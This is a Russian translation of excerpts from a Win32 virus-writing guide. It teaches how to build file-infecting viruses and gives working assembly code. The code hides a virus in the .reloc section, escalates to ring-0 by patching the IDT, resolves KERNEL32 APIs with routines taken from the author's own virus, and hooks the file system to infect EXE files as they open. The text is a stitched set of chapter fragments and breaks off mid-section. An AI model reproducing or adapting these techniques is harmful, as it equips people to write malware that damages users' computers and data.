Путеводитель по написанию вирусов под Win32

         

Перезапись секции .reloc


Это очень интересная тема. Секция '.reloc' полезна только тогда, когда ImageBase PE-файла меняется в силу какой-либо причины, но так как это в 99.9% случаев не происходит, она не нужна. А так как '.reloc' секция очень часть довольно велика, почему бы не хранить там наш вирус? Я предлагаю вам прочитать туториал b0z0 в Xine#3, который называется "Идеи и теории относительно заражения PE", так как в нем содержится много интересной информации.

Если вы хотите перезаписать секцию релокейшенов, сделайте слудующее:

В заголовке секции:

В качестве нового VirtualSize установите размер вируса + его кучу В качестве нового SizeOfRawData установите выравненный VirtualSize Очистите PointerToRelocations и NumberOfRelocations Измените имя '.reloc' на какое-нибудь другое.

Входной точкой вируса будет VirtualSize секции. В некоторых случаях это также не заметно (в случае не очень больших вирусов), так как данная секция обычно очень большая.

  [C] Billy Belcebu, пер. Aquila

<<< Назад Вперед >>>



Подготовка к заражению


Это основоной аспект нашего ring-0 кода. Давайте теперь углубимся в детали программирования под ring-0. Когда мы рассматривал установленный нами обработчик файловой системы, там было два вызова. Это не обязательно, но я сделал их для того, чтобы упростить код, потому что я люблю, когда все разложено по порядку.

В первом вызове, который я назвал prepare_infection, я делаю только одну вещь по одной единственной причине. Имя, которое система дает нам в качестве параметра, это имя файла, но здесь у нас возникает одна проблема. Система дает ее нам в UNICODE, что для нам не очень полезно. Нам нужно сконвертировать его в ASCIIz, правильно. Хорошо, для этого у нас есть сервис VxD, который сделает эту работу за нас. Его название: UniToBCSPath. Далее идет исходный код.

prepare_infection: pushad ; Помещаем в стек все регистры lea edi,[ebx+fname] ; Куда поместить имя файла mov eax,[ebp+10h] cmp al,0FFh ; Это UNICODE? jz wegotdrive ; Да! add al,"@" ; Генерируем имя диска stosb mov al,":" ; Добавляем ':' stosb wegotdrive: xor eax,eax push eax ; EAX = 0 -> Конвертируем в ASCII mov eax,100h push eax ; EAX = Размер конвертируемой строки mov eax,[ebp+1Ch] mov eax,[eax+0Ch] ; EAX = Указатель на строку add eax,4 push eax push edi ; Push'им смещение имени файла

@@3: VxDCall UniToBCSPath

add esp,10h ; Пропускаем параметры add edi,eax xor eax,eax ; Добавляем NULL в конец строки stosb popad ; Pop'им все ret ; Делаем возврат



Получение базы образа во время выполнения


Одна из самых наиболее частых заблуждений - это мнение, что база образа будет всегда одной и той же или всегда будет равна 400000h. Но на самом деле, все далеко не так. Независимо от того, какая база образа будет указана в заголовке вашего файла, система может легко поменять во время запуска, поэтому мы будем пытаться получить доступ к неверному адресу и получить неожиданные результаты. Получить базу образа можно достаточно просто. Просто используйте обычную процедуру получения дельта-смещения.

virus_start: call tier ; Push'им в ESP адрес возврата tier: pop ebp ; Получаем адрес возврата sub ebp,offset realcode ; И отнимаем начальное смещение

Ок? Давайте представим, что, например, выполнение началось по адресу 401000h (как почти во всех слинкованных TLINK'ом файлах). Поэтому когда мы делаем POP, в EBP у нас будет что-то вроде 00401005h. Тогда что вы получите, если вычтете от него virus_start, а от результата мы снова вычтем текущий EIP (который во всех TLINKованных файлах равен 1000h)? Да, мы получим базу образа! Таким образом, мы будем делать следующее:

virus_start: call tier ; Push'им в ESP адрес возврата tier: pop ebp ; Получаем текущий адрес mov eax,ebp sub ebp,offset realcode ; И отнимаем начальное смещение sub eax,00001000h ; Отнимаем текущий EIP (должен NewEIP equ $-4 ; быть пропатчен во время заражения sub eax,(tier-virus_start) ; Отнимаем остальное :)

И не забудьте пропатчить переменную NewEIP во время заражения (если модифицируете EIP), что она всегда была равна переменной по смещению 28h заголовка PE, то есть RVA EIP программы :).



я объясню самый пpостой способ




Ок, я объясню самый пpостой способ с моей точки зpения, котоpым является модификация IDT. IDT (Interrupt Descriptor Table) не является фиксиpованным адpесом, поэтому чтобы найти ее местоположение, мы должны использовать специальную инстpукцию, напpимеp SIDT.

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· ------------------------------------------------------------¬ ¦ SIDT - Сохpаняет pегистp IDT (286+, пpивилегиpованная) ¦ L------------------------------------------------------------

+ Использование: SIDT dest + Модифициpуемые флаги: none

Сохpаняет pегистp IDT в указанный опеpанд.

Такты Размеp Operands 808X 286 386 486 Байты mem64 - 12 9 10 5

0F 01 /1 SIDT mem64 сохpаняет IDTR в mem64 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Hа случай, если еще не понятно, для чего мы используем SIDT, поясню: она помещает смещение в фоpмате FWORD (WORD:DWORD), по котоpому находится IDT. И, если мы знаем, где находится IDT, мы можем модифициpовать вектоpы пpеpываний и сделать так, чтобы они указывали на наш код. Это показывает нам ламеpность Micro$oft'овских кодеpов. Давайте пpодолжим нашу pаботу. После изменений вектоpов так, чтобы они указывали на наш код (и сохpанения их для последующего восстановления), нам остается только вызвать небольшой код, чтобы пеpейти в Ring-0, модифициpовав IDT.

;---[ CUT HERE ]-------------------------------------------------------------

.586p ; Бах... пpосто для забавы. .model flat ; Хехехе, я люблю 32 бита ;)

extrn ExitProcess:PROC extrn MessageBoxA:PROC

Interrupt equ 01h ; Hичего особенного

.data

szTitle db "Ring-0 example",0 szMessage db "I'm alive and kicking ass",0

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, все это для вас пока что вполне понятно, pазве не так? :) ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

.code

start: push edx sidt [esp-2] ; Помещаем адpес таблицы пpеpываний ; в стек pop edx add edx,(Interrupt*8)+4 ; Получаем вектоp пpеpываний



;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Это очень пpосто. SIDT, как я объяснял pаньше, помещает адpес IDT в ; ; память, и для того, чтобы нам было пpоще, мы используем непосpедственно ; ; стек. Поэтому следующей инстpукцией идет POP, котоpый должен загpузить в ; ; pегистp, в котоpый мы POP'им (в нашем случае - это EDX), смещение IDT. ; ; Следующая стpока служит для позициониpования на то пpеpывание, котоpое ; ; нам нужно. Это как мы игpали с IVT в DOS... ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

mov ebx,[edx] mov bx,word ptr [edx-4] ; Whoot Whoot

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Достаточно пpосто. Пpосто сохpаняем содеpжимое EDX в EBX для ; последующего восстановления. ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

lea edi,InterruptHandler

mov [edx-4],di ror edi,16 ; Пеpемещаем MSW в LSW mov [edx+2],di

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Говоpил ли я pаньше, насколько это пpосто? :) Hа выходе в EDI у нас ; смещение нового обpаботчика пpеpывания, а тpи стpоки спустя мы помещаем ; этот обpаботчик в IDT. А зачем здесь нужен ROR? Ок, не имеет значения, ; будете ли вы использовать ROR, SHR или SAR, так как здесь это ; используется для смещения содеpжимого веpхнего слова в нижнее. ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

push ds ; Безопасность, безопасность... push es

int Interrupt ; Ring-0 пpиходит отсюда!!!!!!!

pop es pop ds

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Мммм... Интеpесно. Я заPUSHил DS и ES в целях безопасности, чтобы ; ; пpедотвpатить pедкие, но возможные глюки, но данный код будет pаботать и ; ; без этого, повеpьте мне. Мы вызываем обpаботчик пpеpывания... И ; ; оказываемся в RING0. Код пpодолжается с метки InterruptHandler. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;



mov [edx-4],bx ; Восстанавливаем стаpый обpаботчик ror ebx,16 ; ROR, SHR, SAR... кого это заботит? mov [edx+2],bx

back2host: push 00h ; Флаги MessageBox push offset szTitle ; Заголовок MessageBox push offset szMessage ; Само сообщение push 00h ; Владелец MessageBox call MessageBoxA ; Собственно вызов функции

push 00h call ExitProcess

ret

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Hичего не остается делать, как восстановить оpигинальные вектоpа ; ; пpеpываний, котоpые мы сохpанили в EBX. Кpуто, не пpавда ли? :) А затем ; ; мы возвpащаем упpавление носителю. (По кpайней меpе это пpедполагается ; ; ;) ). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

InterruptHandler: pushad

; Здесь идет ваш код :)

popad iretd

end start

;---[ CUT HERE ]-------------------------------------------------------------

Тепеpь у нас есть доступ к Ring-0. Я думаю, что это может сделать каждый, но навеpняка почти каждый, кто будет это делать в пеpвый pаз, спpосит: "Что делать тепеpь?".


Получить эти сумасшедшие функции API


Ring-3, как я уже говорил, это уровень пользователя, поэтому нам доступны только его немногие возможности. Мы не можем использовать порты, читать или писать в определенные области памяти и так далее. Micro$oft основывала свои утверждения, сделанные при разработке Win95 (которая, похоже, наименее всего соответствует утверждению, что "Win32-платформы не могут быть подвергнуты заражению"), на том, что если они перекроют доступ ко всему, что обычно используют вирусы, они смогут победить нас. В их мечтах. Они думали, что мы не сможем использовать их API, и более того, они не могли представить, что мы попадем в Ring-0, но это уже другая история.

Ладно, как было сказано ранее, у нас есть объявленное как внешнее имя функции API, поэтому import32.lib даст нам адрес функции и это будет правильным образом скомпилировано в код, но у нас появятся проблемы при написании вирусов. Если мы будем ссылаться на фиксированные смещения этих функций, то очень вероятно, что этот адрес не будет работать в следующей версии Win32. Вы можете найти пример в Bizatch. Что нам нужно сделать? У нас есть функция под названием GetProcAddress, которая возвращает адрес нужной нам API-функции. Вы можете заметить, что GetProcAddress тоже функция API, как же мы можем использовать ее? У нас есть несколько путей сделать это, и я покажу вам два самых лучших (на мой взгляд) из них:

1. Поиск GetProcessAddress в таблице экспортов.
2. В зараженном файле ищем среди импортированных функций GetProcAddress.

Самый простой путь - первый, который я первым и объясню :). Сначала немного теории, а потом код.

Если вы взглянете на формат заголовка PE, то увидите, что по смещению 78h (заголовка PE, а не файла) находится RVA (относительный виртуальный адрес) таблицы экспортов. Ок, нам нужно получить адрес экспортов ядра. В Windows 95/98 этот адрес равен 0BFF70000h, а в Windows NT оно равно 077F00000h. В Win2k у нас будет адрес 077E00000h. Поэтому сначала мы должны загрузить адрес таблицы в регистр, который будем использовать как указатель. Я настоятельно рекомендую ESI, потому что тогда мы можем использовать LODSD.


Мы проверяем, находится ли в начале слова "MZ" (ладно-ладно, "ZM", черт побери эту интеловскую архитектуру процессора :) ), потому что ядро - это библиотека (.DLL), а у них тоже есть PE-заголовок, и как мы могли видеть ранее, часть его служить для совместимости с DOS. После данного сравнения давайте проверим, действительноли это PE, поэтому мы смотрим ячейку памяти по смещению адрес_базы+[3Ch] (смещение, откуда начинается ядро + адрес, который находится по смещению 3Ch в PE-заголовке) и сравниваем с "PE\0\0" (сигнатурой PE).

Если все хорошо, тогда идем дальше. Нам нужен RVA таблицы экспортов. Как вы можете видеть, он находится по смещению 78h в заголовке PE - вот мы его и получили. Но как вы знаете, RVA (относительный виртуальный адрес), согласно своему имени, относительно определенного смещения, в данном случае - базы образа ядра. Все очень просто: просто добавьте смещение ядра к найденному значению. Хорошо. Теперь мы находимся в таблице экспорта :).

Давайте посмотрим ее формат:



Для нас важны последние 6 полей. Значения RVA таблицы адресов, указателей на имена и ординалов являются относительными к базе KERNEL32, как вы можете предположить. Поэтому первый шаг, который мы должны предпринять для получения адреса API, - это узнать позицию его позицию в таблице. Мы сделаем пробег по таблице указателей на имена и будем сравнивать строки, пока не произойдет совпадения с именем нужной нам функции. Размер счетчика, который мы будем использовать, должен быть больше байта.

Обратите внимание: я предполагаю, что в вы сохраняете в соответствующих переменных VA (RVA + адрес базы образа) таблиц адресов, имен и ординалов.

Ок, представьте, что мы получили имя функции API, которое нам было нужно, поэтому в счетчике у нас будет ее позиция в таблице указателей на имена. Ладно, теперь последует самая сложная часть для начинающих в программировании под Win32. У нас есть счетчик и теперь нам нужно найти в таблице ординалов API, адрес которого мы хотим получить. Поскольку у нас есть номер позиции функции, мы умножаем его на 2 (таблица ординалов состоит из слов) и прибавляем полученный результат к адресу таблицы ординалов. Нижеследующая формула кратко резюмирует вышесказанное:



Местонахождение функции API: (счетчик * 2) + VA таблицы ординалов

Просто, не правда ли? Ладно, следующий шаг (и последний) заключается в том, чтобы получить адрес API-функции из таблицы адресов. У нас уже есть ординал функции. С его помощью наша жизнь изрядно упрощается. Мы просто должны умножить ординал на 4 (так как массив адресов формируется из двойных слов, а размер двойного слова равен 4) и добавляем его к смещению начала адреса таблицы адресов, который мы получили ране. Хехе, теперь у нас есть RVA адрес API-функции. Теперь мы должны нормализировать его, добавить смещение ядра и все! Мы получили его!!! Давайте посмотрим на простую математическую формулу:

Адрес API-функции: (Ординал функции*4)+VA таблицы адресов+база KERNEL32



[...] В этих таблицах больше элементов, но в качестве примера этого вполне достаточно...

Я надеюсь, что вы поняли мои объяснения. Я пытаюсь объяснить так просто, как это возможно, если вы не поняли их, то не читайте дальше, а перечитайте снова. Будьте терпеливы. Я уверен, что вы все поймете. Хмм, может вам нужно сейчас немного кода, чтобы увидеть это в действии. Вот мои процедуры, которые я использовал, например, в моем вирусе Iced Earth.

;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедуры GetAPI и GetAPIs ; --------------------------- ; ; Это мои процедуры, необходимые для нахождения всех требуемых функций API... ; Они поделены на 2 части. Процедура GetAPI получает только ту функцию, ; которую мы ей указываем, а GetAPIs ищет все необходимые вирусу функции.

GetAPI proc

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ладно, поехали. Параметры, которые требуются функции и возвращаемые ; ; значения следующие: ; ; ; ; НА ВХОДЕ . ESI : Указатель на имя функции (чувствительна к регистру) ; ; НА ВЫХОДЕ . EAX : Адрес функции API ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

mov edx,esi ; Сохраняем указатель на имя @_1: cmp byte ptr [esi],0 ; Конец строки? jz @_2 ; Да, все в порядке. inc esi ; Нет, продолжаем поиск jmp @_1 @_2: inc esi ; хех, не забудьте об этом sub esi,edx ; ESI = размер имени функции mov ecx,esi ; ECX = ESI :)



;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Так-так-так, мои дорогие ученики. Это очень просто для понимания. У нас ; ; есть указатель на начало имени функции API. Давайте представим, что мы ; ; ищем FindFirstFileA: ; ; ; ; FFFA db "FindFirstFileA",0 ; ; L- указатель здесь ; ; ; ; И нам нужно сохранить этот указатель, чтобы узнать имя функции API, ; ; поэтому мы сохраняем изначальный указатель на имя функции API в регистре,; ; например EDX, который мы не будем использовать, а затем повышаем значение; ; указателя в ESI, пока [ESI] не станет равным 0. ; ; ; ; FFFA db "FindFirstFileA",0 ; ; L- Указатель теперь здеcь ; ; ; ; Теперь, вычитая старый указатель от нового указателя, мы получаем размер ; ; имени API-функции, который требуется поисковому движку. Затем я сохраняю ; ; значение в ECX, другом регистре, который не будет использоваться для ; ; чего-либо еще. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

xor eax,eax ; EAX = 0 mov word ptr [ebp+Counter],ax ; Устанавливаем счетчик в 0

mov esi,[ebp+kernel] ; Получаем смещение ; PE-заголовка KERNEL32 add esi,3Ch lodsw ; в AX add eax,[ebp+kernel] ; Нормализуем его

mov esi,[eax+78h] ; Получаем RVA таблицы ; экспортов add esi,[ebp+kernel] ; Указатель на RVA таблицы ; адресов add esi,1Ch

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ладно, сначала мы очищаем EAX, а затем устанавливаем счетчик в 0, чтобы ; ; избежать возможных ошибок. Если вы помните, для чего служит смещение 3Ch ; ; в PE-файле (отсчитывая с образа базы, метки MZ), вы поймете все это. Мы ; ; запрашиваем начало смещение начала PE-заголовка KERNEL32. Так как это ; ; RVA, мы нормализуем его и вуаля, у нас есть смещение PE-заголовка. Теперь; ; мы получаем адрес таблицы экспортов (в заголовке PE+78h), после чего мы ; ; избегаем нежеланных данных структуры и напрямую получаем RVA таблицы ; ; адресов. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;



lodsd ; EAX = RVA таблицы адресов add eax,[ebp+kernel] ; Нормализуем mov dword ptr [ebp+AddressTableVA],eax ; Сохраняем его в форме VA

lodsd ; EAX = Name Ptrz Table RVA add eax,[ebp+kernel] ; Normalize push eax ; mov [ebp+NameTableVA],eax

lodsd ; EAX = Ordinal Table RVA add eax,[ebp+kernel] ; Normalize mov dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form

pop esi ; ESI = Name Ptrz Table VA

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Если вы помните, у нас в ESI указатель на RVA таблицу адресов, поэтому ; ; чтобы получить этот адрес мы делаем LODSD, который помещает DWORD, на ; ; который указывает ESI, в приемник (в данном случае EAX). Так как это был ; ; RVA, мы нормализуем его. ; ; ; ; Давайте посмотрим, что говорит Мэтт Питрек о первом поле: ; ; ; ; "Это поле является RVA и указывает на массив адресов функций, каждый ; ; элемент которого является RVA одной из экспортируемых функций в данном ; ; модуле." ; ; ; ; И наконец, мы сохраняем его в соответствующей переменной. Далее мы ; ; должны узнать адрес таблицы указателей на имена. Мэтт Питрек объясняет ; ; это следующим образом: ; ; ; ; "Это поле - RVA и указывает на массив указателей на строки. Строки ; ; являются именами экспортируемых данным модулем функций". ; ; ; ; Но я не сохраняю его в переменной, а помещаю в стек, так как использую ; ; его очень скоро. Ок, наконец мы переходим к таблице ординалов, вот что ; ; говорит об этом Мэтт Питрек: ; ; ; ; "Это поле - RVA и оно указывает на массив WORDов. WORD'ы являются ; ; ординалами всех экспортируемых функций в данном модуле". ; ; ; ; Ок, это то, что мы сделали. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

@_3: push esi ; Save ESI for l8r restore lodsd ; Get value ptr ESI in EAX add eax,[ebp+kernel] ; Normalize mov esi,eax ; ESI = VA of API name mov edi,edx ; EDI = ptr to wanted API push ecx ; ECX = API size cld ; Clear direction flag rep cmpsb ; Compare both API names pop ecx ; Restore ECX jz @_4 ; Jump if APIs are 100% equal pop esi ; Restore ESI add esi,4 ; And get next value of array inc word ptr [ebp+Counter] ; Increase counter jmp @_3 ; Loop again



;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Хех, это не в моем стиле помещать слишком много кода без комментариев, ; ; как я поступил только что, но этот блок кода нельзя разделить без ущерба ; ; для его объяснения. Сначала мы помещаем ESI в стек (который будет ; ; изменен инструкцией CMPSB) для последующего восстановления. После этого ; ; мы получаем DWORD, на который указывает ESI (таблица указателей на ; ; имена) в приемник (EAX). Все это выполняется с помощью инструкции LODSD. ; ; Мы нормализуем ее, добавляя адрес базы ядра. Хорошо, теперь у нас в EAX ; ; находится указатель на имя одной из функций API, но мы еще не знаем, что ; ; это за функция. Например EAX может указывать на что-нибудь вроде ; ; "CreateProcessA" и это функция для нашего вируса неинтересна... Ладно, ; ; для сравния строки с той, которая нам нужна (на нее указывает EDX), у ; ; нас есть CMPSB. Поэтому мы подготавливаем ее параметры: в ESI мы ; ; помещаем указатель на начало сравниваемого имени функции, а в EDI - ; ; нужно нам имя. В ECX мы помещаем ее размер, а затем выполняем побайтовое ; ; сравнение. Если обе строки совпадают друг с другом, устанавливается ; ; флаг нуля и мы переходим к процедуры получения адреса этой API-функции. ; ; В противном случае мы восстанавливаем ESI и добавляем к нему размер ; ; DWORD, чтобы получить следующее значение в таблице указателей на имена. ; ; Мы повышаем значение счетчика (ОЧЕНЬ ВАЖНО) и продолжаем поиск. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

@_4: pop esi ; Avoid shit in stack movzx eax,word ptr [ebp+Counter] ; Get in AX the counter shl eax,1 ; EAX = AX * 2 add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize xor esi,esi ; Clear ESI xchg eax,esi ; EAX = 0, ESI = ptr to Ord lodsw ; Get Ordinal in AX shl eax,2 ; EAX = AX * 4 add eax,dword ptr [ebp+AddressTableVA] ; Normalize mov esi,eax ; ESI = ptr to Address RVA lodsd ; EAX = Address RVA add eax,[ebp+kernel] ; Normalize and all is done. ret



;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Пффф, еще один огромный блок кода и, похоже, не очень понятный, так ; ; ведь? Не беспокойтесь, я прокомментирую его ;). ; ; Pop служит для очищения стека. Затем мы двигаем в нижнюю часть EAX ; ; значение счетчика (так как это WORD) и обнуляет верхнюю вышеупомянутого ; ; регистра. Мы умножаем его на два, так как массив, в котором мы будем ; ; проводить поиск состоит из WORD'ов. Теперь мы добавляем к нему указатель ; ; на начало массива, где мы хотим искать. Поэтому мы помещаем EAX в ESI, ; ; чтобы использовать этот указатель для получения значения, на которое он ; ; указывает, с помощью просто LODSW. Хех, теперь у нас есть ординал, но то,; ; что мы хотим получить - это точка входа в код функции API, поэтому мы ; ; умножаем ординал (который содержит позицию точки входа желаемой функции) ; ; на 4 (это размер DWORD), и у нас теперь есть значение RVA относительно ; ; RVA таблицы адресов, поэтому мы производим нормализацию, а теперь в EAX ; ; у нас находится указатель на значение точки входа функции API в таблице ; ; адресов. Мы помещаем EAX в ESO и получаем значение, на которое указывает ; ; EAX. Таким образом в этом регистре находится RVA точки входа требуемой ; ; API-функции. Хех, сейчас мы должны нормализовать этот адрес относительно ; ; базы образа KERNEL32 и вуаля - все сделано, у нас в EAX есть настоящий ; ; реальный адрес функции! ;) ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

GetAPI endp

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

GetAPIs proc

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, это код для получения всех API-функций. У данной функции следующие ; ; параметры: ; ; ; ; INPUT . ESI : Указатель на имя первой желаемой API-функции в формате ; ; ASCIIz ; ; . EDI : Указатель на переменную, которая содержит первую желаемую ; ; API-функцию ; ; OUTPUT . Ничего ; ; ; ; Для получения всех этих значений я буду использовать следующую структуру:; ; ; ; ESI указывает на --. db "FindFirstFileA",0 ; ; db "FindNextFileA",0 ; ; db "CloseHandle",0 ; ; [...] ; ; db 0BBh ; Отмечает конец массива ; ; ; ; EDI указывает на --. dd 00000000h ; Будущий адрес FFFA ; ; dd 00000000h ; Будущий адрес FNFA ; ; dd 00000000h ; Будущий адрес CH ; ; [...] ; ; ; ; Я надеюсь, что вы достаточно умны и поняли, о чем я говорю. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;



@@1: push esi push edi call GetAPI pop edi pop esi stosd

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Мы помещаем обрабатываемые значения в стек, чтобы избежать их возможного ; ; изменения, а затем вызываем процедуру GetAPI. Здесь мы предполагаем, что ; ; ESI указывает на имя требуемой API-функции, а EDI - это указатель на ; ; переменную, которая будет содержать имя API-функции. Так как мы получаем ; ; смещение API-функции в EAX, мы сохраняем его значение в соответствующей ; ; переменной, на которую указывае EDI с помощью STOSD. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

@@2: cmp byte ptr [esi],0 jz @@3 inc esi jmp @@2 @@3: cmp byte ptr [esi+1],0BBh jz @@4 inc esi jmp @@1 @@4: ret GetAPIs endp

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Я знаю, это можно было сделать гораздо более оптимизированно, но вполне ; ; годиться в качестве примена. Ладно, сначала мы доходим до конца строки, ; ; чей адрес мы запрашивали ранее, и теперь она указывает на следующую ; ; API-функцию. Но нам нужно узнать, где находится последняя из них, ; ; поэтому мы проверяем, не найден ли байт 0BBh (наша метка конца массива). ; ; Если это так, мы получили все необходимые API-функции, а если нет, ; ; продолжаем поиск. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

;---[ CUT HERE ]-------------------------------------------------------------

Хех, я сделал эти процедуру как можно проще и хорошенько их откомментировал, поэтому я ожидаю, что вы поняли суть. Если нет, то это не мои проблемы... Но теперь появляется вопрос, какие функции нам следует искать? Ниже я приведу исходный код рантаймового (времени выполнения) вируса, который использует технику файлового мэппинга (более простой и быстрый путь манипуляций и заражения файлов).


Получить конец ASCIIz-строки


Это очень полезно, особенно в наших поисковых системах API-функций. И, конечно, это можно сделать гораздо более оптимизировано, чем это делается обычно во многих вирусах. Давайте посмотрим:

lea edi,[ebp+ASCIIz_variable] ; 6 байтов @@1: cmp byte ptr [edi],00h ; 3 байта inc edi ; 1 байт jnz @@1 ; 2 байта inc edi ; 1 байт

Этот код можно очень сильно сократить, если сделать следующим образом:

lea edi,[ebp+ASCIIz_variable] ; 6 байтов xor al,al ; 2 байта @@1: scasb ; 1 байт jnz @@1 ; 2 байта

Хехехе. Полезно, коротко и выглядит красиво. Что еще нужно? :)



с небольших алгоpитмов, поступлю так


Я люблю начинать уpоки с небольших алгоpитмов, поступлю так и в этот pаз.

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· 1. Пpовеpка на то, какая OS запущена, если NT, сpазу возвpащаем упpавление носителю. 2. Пеpеходим в Ring-0 (с помощью IDT, вставки VMM или техники вызова вpат). 3. Запускаем пpеpывание, котоpое содеpжит код заpажения. 3.1. Резеpвиpуем место, где виpус будет находиться pезидентно (pезеpвиpование стpаниц или в куче). 3.2. Двигаем виpус туда. 3.3. Пеpехватываем файловую систему и сохpаняем стаpый обpаботчик. 3.3.1. В обpаботчике FS вначале сохpаняем все паpаметpы и фиксим ESP. 3.3.2. Push'им паpаметpы. 3.3.3. Затем пpовеpяем, пытается ли система откpыть файл, если нет, пpопускаем заpажение. 3.3.4. Если пытается откpыть, сначала конвеpтиpуем имя файла в asciiz. 3.3.5. Затем пpовеpяем, является ли файл EXE. Если нет, пpопускаем заpажение. 3.3.6. Откpываем, читаем заголовок, пpоизводим необходимые манипуляции, добавляем код виpуса и закpываем файл. 3.3.7. Вызываем стаpый обpаботчик. 3.3.8. Пpопускаем все заpаженные паpаметpы в ESP. 3.3.9. Возвpат из пpеpывания. 3.4. Возвpат. 4. Восстанавливаем оpигинальные вектоpы пpеpываний. 5. Возвpащаем упpавление носителю. -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Алгоpитм слегка велик, как бы то ни было, я пытался сделать его более общим, но я пpедпочитаю пеpейти непосpедственно к делу. Ок, поехали.


Пpовеpяем, какая OS запущена


Есть кое-какие пpоблемы с Ring-0 под NT (Super, pеши их!), поэтому мы должны пpовеpить, в какой опеpационной системе мы находимся, и возвpатить контpоль носители, если это не платфоpма Win9x. Есть несколько путей:

Use SEH Check for the Code Segment value Использовать SEH Пpовеpить значение CS

